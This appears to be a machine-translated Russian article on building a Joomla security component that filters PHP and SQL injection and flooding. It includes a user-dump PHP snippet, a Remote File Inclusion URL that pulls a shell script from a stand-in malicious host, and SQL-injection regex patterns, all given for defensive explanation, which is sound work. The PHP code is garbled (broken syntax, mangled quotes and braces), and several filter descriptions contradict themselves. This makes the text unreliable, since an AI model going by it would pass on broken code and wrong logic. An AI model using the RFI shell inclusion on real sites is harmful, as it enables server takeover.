Создание компонента для защиты CMS JOOMLA

Сейчас практически каждый корпоративный сайт сделан на CMS-системе. Во-первых, это позволяет каждому из сотрудников офиса редактировать сайт (фото-, текстовые материалы и т.п.), обладая минимальными навыками в области веб-дизайна. Тем не менее, в этих случаях требуется хотя бы элементарное знание CMS-менеджера.

CMS является аббревиатурой (Content Management System), что в переводе означает «система управления сайтом». Эту программу еще называют «менеджер контент» или «движок сайта».

Joomla — известная и очень распространенная CMS-система, для нее написано много компонентов, модулей и шаблонов. Эти дополнения пишутся в основном обычными программистами, поэтому они имеют слабую защиту, что позволяет проводить атаки на саму CMS.

Сейчас существует большое количество разнообразных атак на сайты. Злоумышленники чаще всего «взламывают» сайты, чтобы добыть нужную информацию, при этом владелец сайта не должен этого видеть.

В самой системе Joomla нет защиты своих настроек и данных от компонентов.

Например:

$ Database = & JFactory :: getDBO ();

$ Database-> setQuery («SELECT * FROM # __ users»);

$ Rows = $ Database-> loadObjectList ();

foreach ($ rows as $ Row)

(

Echo $ Row-> Username. $ Row-> usertype. «<br>»;

)

Этот код выведет список всех пользователей с их данными. Если в этот код добавить еще и печать пароля, то можно будет без проблем получить доступ ко всем данным сайта, при условии установленного вашего компонента.

Такие большие права на доступ к данным создатели Joomla сделали для того, чтобы посторонние программисты могли без особых проблем создавать расширения для CMS Joomla, тем самым увеличивая функциональность самой системы.

Большинство атак на CMS Joomla происходит через сторонние компоненты, такие как форум, чат, гостевые книги, галереи и тому подобное.

Существует, например, Remote File Inclusion уязвимость. Использование этой уязвимости возможно только при включенных параметрах register_globals и allow_url_fopen и представляет собой фактическую подмену любой системной переменной Joomla, которой уязвимый код должен доверять. Плохой код, который подвергается такой уязвимости, это чаще всего один из файлов компонента, который включает в себя, например, часто используемые действия по подключению файлов конфигурации или чтения любых важных для компонента параметров. Пусть этот файл («preload.php») выглядит так:

<? PHP

Include ($ mosConfig_absolute_path. ‘/ Components / com_photo / settings.php’) Include ($ mosConfig_absolute_path. ‘/ Components / com_photo / data.php’); Class …

?>

И в главном фотокомпоненти мы, чтобы облегчить его просмотр, или просто разгрузить его визуально, выделили такие рутинные операции в один файл и подключим его:

<? PHP

Include («preload.php»);

?>

Вроде использование такого подхода не может принести нам неприятности. Но не все так просто на первый взгляд. Неприятности возможны, если злоумышленник знает структуру файлов компонента и на хостинге включены параметры register_globals и allow_url_fopen. Тогда он может вызвать на исполнение не компонент, а один из его файлов — в частности, наш фото помощник. Например так:

http://сайт.юа/components/com_photo/preload.php?mosConfig_absolute_path=http://сайт.с.вредны.кодом/shell-скрипт.txt

Интерпретатор языка PHP, который будет выполнять код файла preload.php, увидит, что нужно включить в текущий файл какой-то файл, путь которого начинается с адреса злоумышленника и, по сути, включает в себя Shell (почти командную оболочку) для выполнения различных, необходимых злоумышленнику , команд, но уже на сервере жертвы. И выполнит его.

Выход из этой ситуации один — использовать специальную константу _JEXEC.Дело в том, что Joomla при старте инициализирует специальную константу. И если файл был запущен в контексте Joomla (а не отдельно, как в рассматриваемом и потенциально опасном случае), то, проверив существование такой константы (так злоумышленник при всем желании не сможет ее создать, максимум что он может — подменить переменные), можно узнать включается этот файл во время работы Joomla и стоит выполнять код, расположенный в нем.

Пример использования приведены ниже:

<? Defined (‘_JEXEC’) or die (‘Restricted access’);

/ / Код, который может быть выполнен только при работе Joomla?>

Для защиты сайта от уязвимостей, необходимо создать компонент, который будет проверять все входные данные уязвимость или флуд. Назовем этот компонент «FireWall».

В данный момент есть три компонента: JoomSuite Defender, jFireWall EndPoint Protection — Anti hacker, NinjaSecurity. Все три компонента являются платными.Также они рассчитаны на защиту joomla 1.0.x, а для работы в joomla 1.5.x необходимо включать режим совместимости «Legacy». Режим совместимости «Legacy» предназначен для поддержки старых компонентов, что бы они могли использовать старые функции. Это в свою очередь замедляет работу всей системы и к тому же не дает полных прав для проверки данных, что сказывается на не способности к полной защиты сайта этими компонентами.

При создании компонента нами был выбран защиту от таких типов атак:

  • PHP инъекция;
  • SQL инъекция;
  • Флуд.

Это наиболее частые атаки, которым подвергаются сайты. Используя PHP или SQL инъекцию, злоумышленник может получить доступ не только к администрированию сайта, а так же к базе данных, что может привести к полному удалению всей информации. Флуд может привести к заполнению сайта ненужной информацией, которую в дальнейшем будет проблематично удалить. Сейчас существует огромное количество роботов, которые занимаются заполнением сайта всевозможной рекламной информацией.

В компоненте «FireWall» реализована защита от всех трех видов атак не только основного сайта, а также часто используемых компонентов, таких как DatsoGallery и FireBoard. По желанию и обладанием знаниями в PHP администратор может изменить компонент для защиты других компонентов.

Администратору разрешено самому доказывает настройки компонента используя для этого соответствующую форму.

Компонент состоит из трех частей:

  • база данных, в которой будем хранить все настройки, логи, список заблокированных пользователей
  • административный компонент, с помощью которого мы сможем просматривать логи работы и изменять настройки работы;
  • плагин, который будет выполнять всю необходимую проверку, выявлять информацию возможность атаки сайта.

Настройка защиты от SQL инъекции использует фильтр входных данных в соответствии с регулярных выражений: «/ delete. + From / iU; »,« / ^ d + and (+) / iU; »и« / select (+) From / iU ». Если во входном значении есть строка, который соответствует одному из регулярных выражений, то такое значение не пропускается, а срабатывает защита и данные о том, что произошла атака, записываются в базу данных. При желании, если идет атака, то можно заблокировать с ip адресу или по id пользователя. Также можно заблокировать сразу и по ip адресу и по id. Кроме этого, можно внести регулярные выражения, которые будут игнорироваться. Если во входном значении будет вимикающий регулярное выражение, то это не будет восприниматься как атака и будет пропущен без занесения данных в базу данных. При желании есть возможность отключить проверку на SQL инъекцию, но это нежелательно.

Защита от флуда работает по принципу: не более N добавлений контента за определенное время. Можно настроить и использовать проверку для одного, двух или трех промежутков времени. Если произойдет более десяти добавлений в течение одной секунды, или если произойдет более пятидесяти добавлений в течение одной минуты, или если произойдет более 100 Добавлен течение часа, то сработает защита. По желанию администратора можно включить блокировку ip адреса, если сработает защита, ip адрес пользователя будет добавлена ​​в черный список. По умолчанию используются все три правила, но их можно изменить или отключить.

Отключение защиты от флуда нежелательно, поскольку это может привести к заполнению сайта большим количеством информации различными работами. В худшем случае база данных наполнится до своего лимита и тогда нельзя будет добавить материал на сайт. При этом без потери всей имеющейся информации будет трудно очистить сайт от такого количества ненужной информации.

Защита от PHP инъекций, равно как и защита от SQL инъекции, использует регулярные выражения. Администратор сайта может добавить или изменить уже имеющиеся регулярные выражения. Если во входном значении будет подстрока схожа с регулярным выражением, то это значение будет пропущено, оно будет заблокировано. Можно добавить отключающие регулярные выражения. Если во входном значении будет подстрока соответствующая игнорувиключаючо регулярного выражения, то это значение будет расценено как угроза, а будет пропущен дальше. Можно блокировать пользователей по ip адресу или по id пользователя в системе.

По желанию администратора можно отключить защиту от PHP инъекций, но это может привести к тому, что злоумышленник получит доступ к сайту может изменить любые значения в целом или полностью уничтожить все данные.

Кроме этого, есть возможность отправки сообщения на личную почту администратора или специально отведенную для этого почту. На почту можно отправлять сообщения о SQL или PHP инъекции. Эту возможность можно отключить. Также можно настроить получение сообщений только об одном из способов атаки. Эта возможность позволит администратору сайта в короткие сроки принять меры по защите. Он сможет в логах атаки увидеть какой тип атаки кем и сколько раз был осуществлен.

Компонент позволяет защитить сайт, созданный с помощью CMS Joomla.Администратор сайта получает возможность тонкой настройки компонента под нужды сайта. Реализовано сохранение информации об атаках, а также блокировка пользователей. Если произошла атака на сайт, то администратор получает уведомление на свою почту и в кратчайшие сроки сможет принять меры по устранению последствий нападения. Кроме этого, есть система, которая помогает в борьбе с флудом. Это позволяет защитить сайт от большого количества ненужной информации, не прибегая к использованию «capcha», что облегчит добавление информации для других пользователей.

В результате работы компонента в базе данных остается вся информация об атаке: id пользователя, ip адрес злоумышленника, тип атаки, время атаки. Оперируя этими данными, администратор сайта может блокировать опасных пользователей. Также можно отслеживать какой тип атаки чаще применяется и акцентировать защиту данных сайта на закрытие этого типа уязвимости.

Читайте также:

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.